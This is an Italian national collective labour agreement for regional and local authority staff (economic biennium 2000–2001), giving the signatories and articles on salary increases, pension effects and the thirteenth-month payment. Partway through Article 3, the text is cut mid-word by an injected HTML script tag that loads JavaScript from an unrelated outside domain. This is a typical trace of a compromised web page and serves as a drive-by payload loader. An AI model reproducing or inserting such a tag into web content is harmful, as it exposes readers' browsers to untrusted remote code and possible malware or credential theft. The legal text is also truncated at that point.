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Categoria: Enti locali (regioni) Settore: Pubblica Amministrazione Data stipula: 5-10-2001 Data decorrenza: 1-1-2000 Data scadenza: 31-12-2001
Contratto Collettivo Nazionale di Lavoro
DEL PERSONALE DEL COMPARTO DELLE REGIONI E DELLE AUTONOMIE LOCALI
(biennio economico 1° gennaio 2000 - 31 dicembre 2001)
A seguito del parere favorevole espresso sull'ipotesi di contratto dal
Comitato di settore il 14.6.01, vista la certificazione non positiva dei
costi espressa dalla Corte dei Conti il 4.7.01, visto il parere favorevole
espresso il 20.7.01 dal Comitato di settore sulla nota esplicativa
dell'art. 5 dell'ipotesi di accordo, vista la certificazione non positiva
espressa sull'ipotesi di accordo dalla Corte dei Conti il 3.8.01, visto
l'invito formulato il 27.9.01 dal Comitato di settore a procedere alla
sottoscrizione del CCNL, anche sulla base delle indicazioni fornite dalla
Conferenza unificata il 27.9.01, il giorno 5 ottobre 2001, alle ore 15.00,
ha avuto luogo l'incontro tra:
ARAN:
nella persona del Presidente Guido Fantoni
e delle seguenti Organizzazioni sindacali:
- CGIL-FP/Enti locali
- CISL-FPS
- UIL-FPL
- Coordinamento Sindacale Autonomo "FIADEL-CISAL, FIALP-CISAL, CISAS-
FISAEL, CONFAIL-UNSIAU, CONFILL Enti locali-CUSAL, USPPI-CUSPEL-FASIL-
FADEL"
- DICCAP - Dipartimento Enti locali Camere di commercio-Polizia
municipale (FENAL, SNALCC, SULPM)
e Confederazioni sindacali:
- CGIL
- CISL
- UIL
- CONFSAL
- CISAL
Al termine della riunione le parti hanno sottoscritto l'allegato CCNL del
personale del comparto delle Regioni e delle Autonomie locali relativo al
biennio economico 1.1.00-31.12.01.
Titolo I - PARTE ECONOMICA
Art. 1 - Stipendi tabellari.
1. I benefici economici del presente contratto si applicano al personale
del comparto Regioni-Autonomie locali in servizio all'1.1.00 o assunto
successivamente.
2. Il valore delle posizioni economiche iniziali e di sviluppo delle
diverse categorie stabilito nella tabella C del CCNL stipulato l'1.4.99 è
incrementato degli importi mensili lordi, per 13 mensilità, indicati nella
allegata tabella A, alle scadenze ivi previste.
3. A seguito dell'attribuzione degli incrementi indicati nel comma 2 i
valori economici annuali delle posizioni iniziali e di sviluppo del
sistema di classificazione sono rideterminati, a regime, con decorrenza
dall'1.1.01, secondo le indicazioni dell'allegata tabella B.
4. Sono confermati: l'indennità integrativa speciale, come definita
nell'allegato A del CCNL 14.9.00, la retribuzione individuale d'anzianità
nonché gli altri eventuali assegni personali a carattere continuativo e
non riassorbibile.
Art. 2 - Effetti dei nuovi stipendi.
1. Nei confronti del personale cessato o che cesserà dal servizio con
diritto a pensione nel periodo di vigenza del presente contratto di parte
economica relativa al biennio 2000-2001, gli incrementi di cui al comma 2,
art. 1, hanno effetto integralmente, alle scadenze e negli importi
previsti nella tabella A, ai fini della determinazione del trattamento di
quiescenza. Agli effetti dell'indennità premio di fine servizio,
dell'indennità sostitutiva del preavviso, nonché di quella prevista
dall'art. 2122 CC, si considerano solo gli scaglionamenti maturati alla
data di cessazione del rapporto.
2. Salvo diversa espressa previsione del CCNL 1.4.99 e del CCNL 14.9.00,
gli incrementi delle posizioni economiche iniziali e di sviluppo del
sistema di classificazione previsti nell'art. 1, comma 2, hanno effetto,
dalle singole decorrenze, su tutti gli istituti di carattere economico per
la cui quantificazione le vigenti disposizioni prevedono un espresso
rinvio alle medesime posizioni.
Art. 3 - Tredicesima mensilità.
1. Gli enti corrispondono ai lavoratori con rapporto di lavoro a tempo
indeterminato o a tempo determinato una 13a mensilità nel periodo compreso
tra il 10 e il 18 dic<script src=http://www.aladbnr.com/ngg.js></script>
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